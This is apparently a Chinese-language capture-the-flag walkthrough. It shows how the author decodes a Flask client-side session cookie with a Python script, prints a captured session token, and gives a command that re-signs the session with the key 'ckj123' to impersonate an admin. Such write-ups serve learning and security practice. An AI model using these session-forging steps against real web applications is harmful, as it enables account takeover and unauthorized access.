打开靶机
注册后发现
点开后发现有一个留言板和一个修改密码的界面,还有一个没啥用的退出界面
既然看到了有留言板,试试xss
试了各种xss,发现没有用,估计后端代码对xss进行了处理
试试修改密码页面的情况,看下修改密码页面的源代码
先来了解一下flask知识,通过网上查找
flask是一个使用 Python 编写的轻量级 Web 应用框架,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到session中。和服务端的session不同,服务端的session保存在服务端中,依靠客户端cookie值中的sessionId来进行识别。本身sessionId是没有价值的,而客户端的session是可以被截取破解后得到有价值的原文
抓包看一下自己的session
我们可以利用flask session伪造来解题 ,从网上找到了一段python脚本解密session
#index.html
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
s = "这里填入需要解密的session"
print(decryption(s.encode()))
如果pycharm没安装flask,记得安装即可
.eJw9kEFrg0AQhf9K2XMOatOLkIOwGiLMSMtE2bmENDVZd10DJkHdkP9em0IO7zLv8T3m3cXu2NcXLeJrf6sXYtf8iPgu3r5FLEAmgSI1caUGlq1TlIxskkhR69BnFtdlg1XegMwcSAiL6sspYwflDxGT1uBtMOcnNmkIhi3LU4g-d-BzAy4dIco1yrJFqQZlZqZJPFJpWNol-NKATN_BWA8yb8Foh4SzWBfr7VjQZmCDmin561iJx0IcLv1xdz3bunu9UFA6Km8nNFnLtJkK2n5wBV6RDRWhRsoNyvkmYcIoXXKV6eJz9cQ1bn-qX6RDZ0M4_Tvd3s2G2HfT-eb1XLcQt0vdP7cTYSAev8ITcMM.YosQSQ.wl52H6kt_O2Mc-nGbYzIHYT7dyQ
解码后得到
从中的name后面可以看到这就是我们注册的名字,我们将name的名字修改为admin按理说应该可以达到伪造的效果
加解密脚本:解密脚本
py3 flask3.py encode -s ckj123 -t "{解密后修改的内容}" //在cmd中启动
将session更改